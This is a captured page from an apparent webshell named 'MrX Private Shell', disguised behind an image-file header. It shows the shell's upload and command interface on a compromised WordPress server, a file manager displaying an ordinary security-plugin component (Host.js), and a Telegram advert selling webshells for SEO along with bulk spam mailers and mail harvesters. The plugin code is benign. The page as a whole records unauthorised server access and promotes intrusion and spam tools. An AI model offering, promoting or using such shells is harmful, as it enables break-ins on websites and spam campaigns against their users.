����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
import {
    SelectControl,
} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import {
    Component,
} from '@wordpress/element';


class Host extends Component {
    constructor() {
        super( ...arguments );
        this.disabled = false
    }

    onChangeHandler(fieldValue) {
        let fields = this.props.fields;
        let field = this.props.field;
        field.value = fieldValue;
        fields[this.props.index]['value'] = fieldValue;

        //force update, and get new fields.
        this.disabled = true;
        let saveFields = [];
        this.props.handleNextButtonDisabled(true);
        saveFields.push(field);
        rsssl_api.setFields(saveFields).then(( response ) => {
            this.props.updateFields(response.fields);
            this.disabled = false;
            this.props.handleNextButtonDisabled(false);
        });
    }


    render(){
        let fieldValue = this.props.field.value;
        let field = this.props.field;
        let options = [];
        if ( field.options ) {
            for (var key in field.options) {
                if (field.options.hasOwnProperty(key)) {
                    let item = {};
                    item.label = field.options[key];
                    item.value = key;
                    options.push(item);
                }
            }
        }
        return (
              <SelectControl
                  label={ field.label }
                  onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                  value= { fieldValue }
                  options={ options }
                  disabled={this.disabled}
              />
        )


    }
}

export default Host;

Filemanager

Name Type Size Permission Actions
ChangeStatus.js File 702 B 0644
Field.js File 13.04 KB 0644
Help.js File 1.61 KB 0644
Host.js File 1.71 KB 0644
LearningMode.js File 13.74 KB 0644
License.js File 5.17 KB 0644
MixedContentScan.js File 11.42 KB 0644
Notices.js File 782 B 0644
Password.js File 1.32 KB 0644
PermissionsPolicy.js File 6.12 KB 0644
Settings.js File 7.58 KB 0644
SettingsGroup.js File 7.35 KB 0644
SettingsPage.js File 14.22 KB 0644
Support.js File 2.44 KB 0644